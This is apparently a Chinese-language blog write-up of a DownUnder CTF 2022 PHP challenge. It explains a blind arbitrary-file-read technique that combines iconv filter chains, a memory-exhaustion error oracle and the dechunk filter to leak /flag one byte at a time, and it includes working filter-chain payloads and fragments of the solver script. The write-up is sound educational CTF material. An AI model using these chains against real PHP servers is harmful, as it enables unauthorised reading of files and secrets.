</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;j: </span><span class="si">{</span><span class="n">j</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;header: </span><span class="si">{</span><span class="n">header</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span></code></pre></div>
<h3 id="part-3---translation">Part 3 - Translation</h3>
<p>看起来我们解决了一系列的问题，我们回顾一下我们之前解决了哪些问题：</p>
<ol><li>必定产生一个带有 2 个等号的 Base64 字符串</li><li>可以让字符串中任一字节移动到首位</li><li>可以利用 dechunk 判断字符串首位是否在 a-fA-F0-9 范围内</li></ol>
<p>可以看到，拥有了以上条件，我们能做的还仅仅只是判断字符是否在一个大概范围内，这显然无法满足我们解题的要求，我们接下来要做的就是设法准确判断第一个字节。</p>
<p>其实经过上文 filter 的洗礼，可能有同学已经有自己的想法了：是否存在这么一些 filter ，可以单独对每个字母生效将其转换到 a-fA-F0-9 的范围内呢？</p>
<p>举个例子，比如假设有这么一个 1to1 的 filter ，它只对 z 字母有效，可以把 z 转换到 a 字符，对其他字母都不生效；这样一来，如果第一个字母是 z 的话，我们就可以利用这个 filter 将其转换到 a ，再利用最初的 Orcale 进行判断了，此时就不会产生内存错误；而如果不是 z 的话，就不会被转换，仍然产生内存错误。</p>
<p>所以基于以上思路，虽然找到这样的 filter 确实很难，因为毕竟都是要满足 26*2 + 10 个要求&mldr;几乎不太可能，但是我们可以退而求其次，我们首先判断出一些字母，这些字母集合为 A ，其他另外某几个字母集合 B ，倘若有这么一个 filter 可以判断 A ∪ B ，但是因为集合 A 已经被我们排除了，所以这个 filter 尽管没有很满足我们 1to1 的要求，但是也能协助我们转换 B 集合部分的字母。</p>
<p>这里先介绍后续会用到的一些 filter 的作用：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">rot1</span> <span class="o">=</span> <span class="s1">&#39;convert.iconv.437.CP930&#39;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 会将字母向后移动一位，所以称呼为 rot1 ，比如 a-&gt;b, b-&gt;c</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 但是只对部分字母有效，初步测试为 a-h 范围，不包括数字，其他字母会有其他规则 i-&gt;q ，后续就不是 rot1 了</span>
</span></span><span class="line"><span class="cl"><span class="n">rot13</span> <span class="o">=</span> <span class="s1">&#39;string.rot13&#39;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># rot13 算法，向后移动 13 位</span>
</span></span><span class="line"><span class="cl"><span class="n">tolower</span> <span class="o">=</span> <span class="s1">&#39;string.tolower&#39;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 将大写字母转换成小写</span>
</span></span></code></pre></div>
<p>因为有 string.tolower 的存在，所以我们后续分析小写字母，大写字母只需要通过该 filter 转换成小写字母即可，后文就不再赘述。</p>
<h3 id="part-31---a-f">Part 3.1 - A-F</h3>
<p>按照以上逻辑，我们首先把最简单，最容易的排除的字母先解决掉，比如 a-fA-F0-9 这个范围，我们直接可以通过 dechunk 是否产生错误来判断字符是否在这个范围，所以可以首先使用 dechunk 判断这个范围。</p>
<p>通过 rot1 转换，我们就可以把 f 排除出范围了：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.iconv.437.CP930|dechunk/resource=data:,a&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.iconv.437.CP930|dechunk/resource=data:,e&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.iconv.437.CP930|dechunk/resource=data:,f&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="s2">&#34;g&#34;</span>
</span></span></code></pre></div>
<p>接下来就是如何判断 a-e 字母了。因为 rot1 对于 a-e 都是生效的，所以我们只需要多次应用 rot1 就可以逐个排除，例如只使用 2 次 rot1 就会触发 Oracle 的那就是字母 e 了，以此类推。</p>
<p>所以 a-e 的判断不难，但是是不是我们排除 a-e 之后，剩下的就是 f 了呢？并不然，因为我们 dechunk 判断的范围还包括数字，所以我们还需要找到一个对 f 生效，对数字不生效的 filter ，于是作者得到的 filter 如下：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.iconv.CP1390.CSIBM932|dechunk/resource=data:,f&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.iconv.CP1390.CSIBM932|dechunk/resource=data:,0&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="c1">// ... 此处省略，该 filter 对于数字都会产生一个不可见字符，感兴趣的读者自行尝试
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.iconv.CP1390.CSIBM932|dechunk/resource=data:,9&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="s2">&#34;&#34;</span>
</span></span></code></pre></div>
<p>这就是一个满足我们判断 f 字符的 filter 了。</p>
<p>此处作者仍然使用了一个filter 处理数字，因为作者没有找到合适的处理数字的 fitler ，所以此处暂时先使用了 <code>*</code> 作为占位符（虽然我觉得可以在排除 f 之后直接 <code>return '*'</code> ，但是作者认为为了避免出错，还是判断为好）：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl">		<span class="k">elif</span> <span class="ow">not</span> <span class="n">req</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;</span><span class="si">{</span><span class="n">prefix</span><span class="si">}</span><span class="s1">|convert.iconv.CSISO5427CYRILLIC.855|dechunk|</span><span class="si">{</span><span class="n">blow_up_inf</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">			<span class="k">return</span> <span class="s1">&#39;*&#39;</span>
</span></span></code></pre></div>
<p>PS: 此处作者的脚本为</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># a-e</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">req</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;</span><span class="si">{</span><span class="n">prefix</span><span class="si">}</span><span class="s1">|&#39;</span> <span class="o">+</span> <span class="sa">f</span><span class="s1">&#39;</span><span class="si">{</span><span class="n">rot1</span><span class="si">}</span><span class="s1">|</span><span class="si">{</span><span class="n">be</span><span class="si">}</span><span class="s1">|&#39;</span><span class="o">*</span><span class="p">(</span><span class="n">n</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="sa">f</span><span class="s1">&#39;</span><span class="si">{</span><span class="n">rot1</span><span class="si">}</span><span class="s1">|dechunk|</span><span class="si">{</span><span class="n">blow_up_inf</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="s1">&#39;edcba&#39;</span><span class="p">[</span><span class="n">n</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">break</span>
</span></span></code></pre></div>
<p>使用了 be 编码，此处我的理解为因为作者实际是较长的字符串进行判断的，而此处我为了举例说明，只使用了一个字符，在处理较长字符串的时候可能存在不可见字符等冗余问题需要去除</p>
<h3 id="part-32-n-s--i-k--v-x">Part 3.2 N-S &amp; I-K &amp; V-X</h3>
<p>因为有了 a-f 的基本模板，我们剩下的可以尽可能将剩余字符通过 ASCII 移位至这个区间以复用 a-f 的判断，但是 我们找到的 rot1 并不是真正的 rot1 ，只对部分字母区间有效，所以没办法做到全部字母都使用 rot1/rot13 进行转换，但仍然可以解决掉部分字母区间。</p>
<p>以下几个都是可以通过 ASCII 移位到 a-f 的，所以具体流程不再赘述</p>
<ul><li>借助 string.rot13 ，我们还可以把 n-s 区间转换成 a-f</li><li>借助 rot1 &amp; rot13 ，我们还可以把 i-k 进行转换</li></ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="c1">// i-k 经过 rot1 后的结果，其余字母都不满足后续要求所以此处只写 i-k
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.iconv.437.CP930/resource=data:,i&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="s2">&#34;q&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.iconv.437.CP930/resource=data:,j&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="s2">&#34;r&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/convert.iconv.437.CP930/resource=data:,k&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="s2">&#34;s&#34;</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 再使用 string.ro13 可以得到 d-f ，可以复用之前 a-f 的逻辑，此处不再演示
</span></span></span></code></pre></div>
<ul><li>再次借助 string.rot13 ，我们可以把 v-x 范围转换成 i-k 范围，再复用上述步骤</li></ul>
<p>所以目前，我们总共解决了 2*6 + 3*2 = 18 个字母，剩余 26-18=8 个字母需要我们解决。</p>
<h3 id="part-33---the-rest-alphabets">Part 3.3 - The rest alphabets</h3>
<p>剩余字母就没有太多技巧了，但是我们在找 filter 的同时，就相对轻松了，因为我们之前排除了 18 个字母，后续如果有 filter 还对这 18 个字母其中几个生效都没关系，相对于找 1to1 的转换大大降低了难度。</p>
<p>并且，在找到一些字母的转换之后，还可以使用 string.rot13 &amp; rot1 进行转换，实际上我们需要找的字母并不多，这部分具体可以参考作者最后的脚本部分 #295-#344</p>
<h3 id="part-34---the-numbers">Part 3.4 - The numbers</h3>
<p>字母处理完了，剩下的就是数字了。</p>
<p>在 Base64 编码中，因为编码规则都是相对固定的，尤其是相对字符串第一个字节来说，因为在 Base64 分组的时候，第一个字节可以直接编码得到 Base64 编码中的第一位，以 1 为例，如下：</p>
<p><figure><a href="https://s1.ax1x.com/2022/09/27/xZbluD.png"><img src="https://s1.ax1x.com/2022/09/27/xZbluD.png" loading="lazy" /></a></figure></p>
<p>所以倘若我们把数字都提取到第一位，并将其进行一次 Base64 编码，得到的编码结果我们再去判断第一位是什么字母，就可以大概推算出数字的范围，例如</p>
<pre tabindex="0"><code>0-3 -&gt; M
4-7 -&gt; N
8-9 -&gt; O
</code></pre>
<p>然后我们再使用 r2 交换 Base64 的第二位，因为在 Base64 分组中，Base64 的第二位的高 bit 位仍然受到原文第一个字节的影响，所以根据编码结果第二位的范围我们就可以最终确定这个数字是什么了！例如 0-3 :</p>
<pre tabindex="0"><code>0 -&gt; CDEFGH
1 -&gt; STUVWX
2 -&gt; ijklmn
3 -&gt; yz*
</code></pre>
<p>当然仍然有可能编码结果下一位仍然是数字，例如 3s 编码结果为 M3M= ，但是根据我们之前把 0-2 都排除了，剩余的就剩下是 3 了，所以依旧可以判断出来。</p>
<p>此部分对应作者脚本的 #351-#393 ，其余数字类似，就不再赘述。</p>
<p>至此，我们基本完成了所有字符的对应翻译工作，这个题也算是基本解决了。</p>
<h3 id="part-35---additional-notes">Part 3.5 - Additional Notes</h3>
<p>有小伙伴提到了一个我没有注意到的问题，就是最后翻译 Base64 编码的时候，为什么不用翻译 +/ 呢？这些不都在 Base64 编码范围之内呢？</p>
<p>这个问题当时就问到了我，还好跟其他小伙伴一起讨论了一下发现了这个小细节。之前我认为作者使用两次 Base64 ，第一次是为了编码非标准字符，然后使得做 padding 的时候更标准，然后第二次编码可以得到两个 = 的编码结果。但是其实我觉得这里还有个更合理，或者作者也没考虑到，但是确实这样不用翻译 +/ 的理由。</p>
<p>就是在第一次编码之后，无论文件内容是什么，最后结果都会是 Base64 编码字符内的 ASCII 字符，而在 Base64 编码范围内的字符的二进制，最高位都不会是 1 ，可以看看码表：<a class="link" href="http://c.biancheng.net/c/ascii/" target="_blank" rel="noopener">ASCII码一览表，ASCII码对照表</a></p>
<p>而对于 Base64 编码来说，+/ 的编码分别是：111110/111111 ，可以看到最高位都需要为 1 。</p>
<p><figure><a href="https://images.zsxq.com/FpV6lsDc0niPXFMr-vCYKKooztR4?imageMogr2/auto-orient/quality/100!/ignore-error/1&amp;e=1669823999&amp;token=kIxbL07-8jAj8w1n4s9zv64FuZZNEATmlU_Vm6zD:IlQNYaSATVI24r1di7wYEavOJf8="><img src="https://images.zsxq.com/FpV6lsDc0niPXFMr-vCYKKooztR4?imageMogr2/auto-orient/quality/100!/ignore-error/1&amp;e=1669823999&amp;token=kIxbL07-8jAj8w1n4s9zv64FuZZNEATmlU_Vm6zD:IlQNYaSATVI24r1di7wYEavOJf8=" loading="lazy" /></a></figure></p>
<p>而我们可以从图中看到：</p>
<ol><li>开头字节无法让第一个 Bit 为 1</li><li>红色箭头处都是因为 ASCII 第一个 bit 不会是 1</li><li>中间部分由于 plantext 第一个bit无法为1的缘故都不能满足要求</li><li>蓝色部分是稍微比较好的情况，但是在这种情况下编码最大值只能到 9</li><li>最后一组编码虽然最好情况可以编码成 + ，但是需要 plaintext 为 DEL(0x7f)，但是这是经过第一次 Bae64 编码后的，所以 plaintext 不会存在 DEL 的情况</li></ol>
<p>综述，经过两次 Base64 之后的编码结果是不存在 +/ 的，所以我们并不需要翻译 +/ 这两个字符</p>
<h2 id="summary">Summary</h2>
<p>让我们再次总结一下，整体流程大致如下：</p>
<ol><li>第一步，先判断出多少个 UCS-4LE 会引起服务器报错，获取到这个数值的临界值</li><li>第二步，利用 convert.iconv..CSISO2022KR 产生固定的 <code>\x1b$)C</code> 固定的 padding 与原来的 FLAG 拼接使得得到的 base64 结果最后会有两个等号</li><li>第三步，使用 UCS-2BE 等编码技巧交换字符顺序，使得后面的字符挨个轮换至第一个字节</li><li>第四步，使用编码技巧将第一个字节的字符转换成 dechunk 能够判断的字符范围内，并使用 Base64 将数字转换成字母进一步准确判断数字</li><li>最后将得到的 Base64 编码结果解码，并按照之前增加了多少个 padding 剔除几个 padding</li></ol>
<p>另外，一些写这篇文章时候的探讨:</p>
<ul><li>由于 dechunk是 php 5.3 之后引进的，当然这个技巧是 php7 也可以使用，所以实际上他跟 php 8 没多大关系</li><li>理论上来说，在我们可控任意支持 php filter 函数参数的情况下，与 phar 有一些类似，任何与文件操作有关的函数都可以被利用来侧信道读取文件内容</li><li>理论上来说，除了使用 convert.iconv.L1.UCS-4LE 产生大量冗余字符导致 PHP 内存溢出外，还可以使用其他编码形式，例如甚至多次 Base64 ，毕竟目的只是需要让 PHP 产生内存错误，方法还是比较多的</li><li>当然，该利用也有一定限制，比如 5.3 以下就不行，可能得需要找另外一些 Oracle ，以及与 iconv LFI 一样，该方法极度依赖系统 iconv 提供的字符集</li></ul>
<p>本篇算是我迄今为止写的最累的一篇文章之一，因为作者在原脚本里面并没有非常详细介绍每一个细节，以及为什么我们需要这么做，所以在理解脚本上费了很大的功夫，再加上还要把它写出来，就更累了。</p>
<p>不过我觉得这个题带来的攻击技巧很有意思，特别是深入每一个细节后，没想到处处都是细节，而且这非常 ctf ，每次都是解决一个问题之后又遇到一个问题，又需要我们再度解决这个问题，一环扣一环。后面跟作者聊天的时候，他表示自己弄整个 solution 差不多花了 15 个小时，预期是 0 解或者 1 解，最后果不其然是 0 解。</p>
<p>另外，与本题无关的是，我们还可以利用 iconv 来产生一些文件头从而绕过一些文件函数的检测，比如产生一个 GIF 字符可以绕过某些图片的检测等，可以看看这位同学的实践案例：https://github.com/Taiwan-Tech-WebSec/Bug-Report/issues/91 ，也可以看看 CakeCTF 2022 中的 ImageSurfing ，当然也欢迎来 「Funny Web CTF」来探讨有意思的题目或者 Web 技术。</p>
<blockquote><p>我正在「Funny Web CTF」和朋友们讨论有趣的话题，你⼀起来吧？https://t.zsxq.com/067y7iAuf</p></blockquote>
<p>最后，虽然 iconv 很好玩（?），但是我写完之后已经不希望大家继续卷这玩意了，毕竟这玩意要是像 phar 一样被某些 CTF 出题人盯上，有点像打开了潘多拉魔盒，对于选手来说简直是灾难级的（反正我是不会再想去做这类题目了的）。</p>
<p>不过还是比较期待，希望还能写下一篇 The End of ???</p>]]></content><author><name>ZeddYu</name></author><category term="research" /><category term="web-security" /><summary type="html"><![CDATA[本篇通过对 DownUnder CTF 2022 中一道题的讲解来介绍一种比较 trick 的通过侧信道读取文件内容的方法。 本篇通过对 DownUnder CTF 2022 中一道题的讲解来介绍一种比较 trick 的通过侧信道读取文件内容的方法。 文章首发于跳跳堂：The End of AFR? TL;DR 使用 UCS-4LE 等编码技巧让 PHP 产生内存错误导致服务器产生 500 错误，配合 dechunk 编码使得前面的错误正常化从而获得一个盲注的判断依据，使用该依据以及编码技巧逐个判断盲注出文件内容，进而可以造成任意文件内容读取。 标题中 AFR 指的是 Arbitrary File Read ，因为本文跟 hxp CTF 2021 - The End Of LFI? 有很大的关系，所以使用了该标题。 Description 依旧先贴作者 repo 以示尊重：https://github.com/DownUnderCTF/Challenges_2022_Public/tree/main/web/minimal-php 以下测试如无特殊说明，则均在 Docker 环境中；本篇没有什么新的东西，只是对作者的细节进行复盘，如果能看得懂作者 exp 全部部分细节都在干什么，可以忽略本篇。 题目源代码： &lt;?php file($_POST[0]); 题目 Docker : FROM php:8.1-apache RUN mv &#34;$PHP_INI_DIR/php.ini-production&#34; &#34;$PHP_INI_DIR/php.ini&#34; COPY index.php /var/www/html/index.php COPY flag /flag Solution 乍一看题目，使用 PHP 8 ，并且使用了较为敏感的 file 函数，但是对于 PHP 8 我们可知 phar 反序列化已经没了，我们需要找到另一个方法，比如 PHP 默认一些有写文件操作的地方，但是话又说回来，这也并不是我们之前熟悉的 LFI 了，即使有写文件，利用 file 函数又能够做什么呢？ 一开始以为是 PHP 8 对于文件操作新增了什么代码，但是 diff 7.4 之后发现压根也没啥改动…所以换思路到一些侧信道攻击上，但是众所周知，侧信道需要一个明确的足以判断的信道，即使 file 函数支持使用流操作，但是怎么样的流操作能让我们侧信道呢？ 所以找到这个侧信道的关键点就成了解决本题的关键所在，也就是 if 语句中的那个条件，后续我们用 Oracle 来称呼这个关键点（因为大部分侧信道的信道或者关键点什么好像基本都用 oracle 这个称呼）。 Part 1 - The Oracle 因为使用了 production 的配置文件，所以对于一些报错等方式在这里就不太适用了，但是除了页面报错之外，我们还比较容易想到的就是服务端报错，显性的服务端报错即是服务器直接返回了 50x HTTP 状态码。 如何找到这个可以让服务端报错的 Oracle 呢？ 在这里作者给出的解决方案是，使用 php filter 配合 convert.iconv.L1.UCS-4LE 编码，通过数次该编码规则可以将原字符串长度增长数倍，到一定程度会导致 PHP 产生内存错误： image.png 产生错误的方式有了，那么如何弄出不产生错误呢？ 作者在 php filter dechunk 部分发现，其对于字符的处理存在一个范围限制，因为对于 chunk 编码来说，大部分都是以十六进制来表示长度的（这里很有可能原本就是用于解析类似 HTTP 中 chunked 编码规则的），所以十六进制的字符范围只在 a-fA-f0-9 这个范围内。并且根据源码可知，php 只对第一个字节进行了判断，所以对于第二个字节其实无关紧要。我们可以做个简单尝试： php &gt; var_dump(file_get_contents(&#34;php://filter/dechunk/resource=data:,a&#34;)); string(0) &#34;&#34; php &gt; var_dump(file_get_contents(&#34;php://filter/dechunk/resource=data:,g&#34;)); string(1) &#34;g&#34; php &gt; var_dump(file_get_contents(&#34;php://filter/dechunk/resource=data:,ga&#34;)); string(2) &#34;ga&#34; php &gt; var_dump(file_get_contents(&#34;php://filter/dechunk/resource=data:,ag&#34;)); string(0) &#34;&#34; 可以看到，在使用 dechunk filter 的时候，如果我们要编码的字符第一个字节不在十六进制编码范围内，PHP 会原样输出，而在此范围内的则会输出为空。 那么配合这个 dechunk 我们可以干什么呢？既然 dechunk 有判断的机制在里面，所以我们貌似可以利用这个机制来作为我们的 Oracle ，那么我们是不是可以配合之前的 convert.iconv.L1.UCS-4LE 编码，倘若我们要 Leak 的字符串内容开头范围在 a-fA-F0-9 范围内，因为 dechunk 编码清空了字符串，就不会产生原来由于长度过长导致的报错；如果不在就会原样输出继续产生长度过长导致的内存错误。 image.png 如上图，我们首先可以测试出服务器上 PHP 对于内存报错的临界值。红圈部分相对于蓝圈部分多了一次 convert.iconv.L1.UCS-4LE 编码，绿圈部分相对于红圈部分多了一次 dechunk ，可以看到绿圈部分由于 dechunk 的存在就不会导致 PHP 产生内存错误了。 测试部分如下（注意，不同配置的机器可能对于引起 PHP 报错的长度不同，需要适当调节使用的 convert.iconv.L1.UCS-4LE 编码的次数）： 不出错： var_dump(file_get_contents(&#34;php://filter/convert.base64-encode|convert.base64-encode|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE/resource=/flag&#34;)); 出错： var_dump(file_get_contents(&#34;php://filter/convert.base64-encode|convert.base64-encode|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE/resource=/flag&#34;)); 在报错基础上使用了 dechunk 之后不会出错： var_dump(file_get_contents(&#34;php://filter/dechunk|convert.base64-encode|convert.base64-encode|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE/resource=/flag&#34;)); 所以根据以上现象，我们基本得到了一个可以用于判断字符串的第一个字符是否在 a-fA-F0-9 这个范围内的 Oracle 了。那么这里还仅仅只是第一步，因为目前我们只能判断第一个字节，那么接下来我们的思路就是处理剩余的字节，以及怎么准确判断这个字节是什么。 Part 2 - Flip the bytes 这部分其实在作者的 solution 注释中已经解释的非常的详细了，不过这里仍然有些地方需要我们注意。 PS: 因为主要我们思路明确了，其实对于找 payload ，如何找并没有太多的技巧，包括我问了出题人，这些 payload 也都是通过 iconv 排列组合挨个查找自己所需要的 payload 所得到的，所以这里不会做解释后文每一个 iconv 是怎么来的…都是根据自己需求找出来的，无论是 fuzz 或者排列组合都好，找出来了，满足自己需求了就行 所以有没有一种编码形式，可以让我们交换字符串中字符的位置呢？（当然有啦，不然这个题就做不下去了。下面我们以翻转 8 字节 abcdefgh 为例。 首先，使用 convert.iconv.CSUNICODE.UCS-2BE 我们可以前后交换每两个字节的位置，我们称这个编码规则为 r2 ： php &gt; var_dump(file_get_contents(&#34;php://filter/convert.iconv.CSUNICODE.UCS-2BE/resource=data:,abcdefgh&#34;)); string(6) &#34;badcfehg&#34; 使用 convert.iconv.UCS-4LE.10646-1:1993 我们可以将每四个字节的位置逆序，我们称这个编码规则为 r4 ： php &gt; var_dump(file_get_contents(&#34;php://filter/convert.iconv.UCS-4LE.10646-1:1993/resource=data:,abcdefgh&#34;)); string(8) &#34;dcbahgfe&#34; 所以目前我们可以比较直接的获取到原字符串中第 2 个字节和第 4 个字节，那么至于第 3 个字节以及其他字节咋办？ 对于第 3 个字节，根据 r2 的结果，其实我们只需要再通过一次 r4 即可把 c 放到前面了： php &gt; var_dump(file_get_contents(&#34;php://filter/convert.iconv.CSUNICODE.UCS-2BE/resource=data:,abcdefgh&#34;)); string(6) &#34;badcfehg&#34; php &gt; var_dump(file_get_contents(&#34;php://filter/convert.iconv.CSUNICODE.UCS-2BE|convert.iconv.UCS-4LE.10646-1:1993/resource=data:,abcdefgh&#34;)); string(8) &#34;cdabghef&#34; 但是对于后半部分 fehg ，似乎永远在最后，我们好像没有办法通过 r2/r4 的组合使其放到前半部分，这时我们只能再利用一些其他技巧了。这里需要一些 base64 filter 的前置知识，可以回顾一下：https://tttang.com/archive/1395/#toc_php-base64-filter （没想到这里串起来了！ 利用 PHP 在处理 Base64 字符串的时会完全忽略非法字符的特性，我们首先添加几个非法字符在字符串的最前端，比如使用 convert.iconv.CSUNICODE.CSUNICODE 编码可以在字符串最前端加上 0xff0xfe ，使用一些交换技巧并利用 base64decode 再次把非法冗余位剔除，就可以完成后续字符换到前端来的操作了： // 产生填充字符 php &gt; var_dump(file_get_contents(&#34;php://filter/convert.iconv.CSUNICODE.CSUNICODE/resource=data:,abcdef&#34;)); string(8) &#34;��abcdef&#34; // 使用 r4 进行移位 php &gt; var_dump(file_get_contents(&#34;php://filter/convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993/resource=data:,abcdef&#34;)); string(8) &#34;ba��fedc&#34; // 使用 base64 去掉冗余位 php &gt; var_dump(file_get_contents(&#34;php://filter/convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode/resource=data:,abcdef&#34;)); string(8) &#34;bafedQ==&#34; // 再次使用 r4 交换位置 php &gt; var_dump(file_get_contents(&#34;php://filter/convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode|convert.iconv.UCS-4LE.10646-1:1993/resource=data:,abcdef&#34;)); string(8) &#34;efab==Qd&#34; 通过如上的形式变换，我们就可以把原来后半部分的字符移位到前半部分来了。 细心的同学可能会注意到，我这里并没有使用 abcdefgh 8 字节为例，这是因为 r4 编码对于字节有要求，一定需要 4 字节为一组，而我们再产生 2 字节冗余之后会引起 r4 报错，使得 r4 编码失效，所以这里为了方便举例就没有使用 8 字节。 但是，这是不是一个问题？是的！所以我们需要一些技巧来弥补这个问题。 Part 2.1 - Base64 and its two equal signs 我们回顾一下上述过程，我们应用 r4 变换在两个地方，一个是产生填充字符之后，我们用 (1) 来做标记，另外一个是使用 base64 消除冗余字符之后，我们用 (2) 做标记。 对于 (1) ，其实还是相对比较好解决，对于要移位的字符串，我们尽可能让其长度满足 4*n - 2 即可，这里我们或许可以通过填充字符来实现，但是比较要命的是，我们不知道我们需要 Leak 字符串的原本长度是多少。 好在 Base64 编码的结果长度都是 4*n 字节，但是我们仍然需要另外两个字节，这里我们就不得不感谢 Base64 的填充位了。 在 Base64 编码中，分组编码完成后，不足分组编码的最后会使用 = 进行填充，我们是不是可以利用这两个等号进行一定的变换操作，使得在其他字节不变动的情况下满足我们 4*n-2 的长度条件？ 于是作者找到了这个 filter : php &gt; var_dump(file_get_contents(&#34;php://filter/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7/resource=data:,==&#34;)); string(24) &#34;+---AD0-3D3D+---AD0-3D3D&#34; 这个 filter 会固定将两个等号转换成另外一个长度为 24 字节的字符串，所以原本的字符串长度就变为 4*n-2+24 = 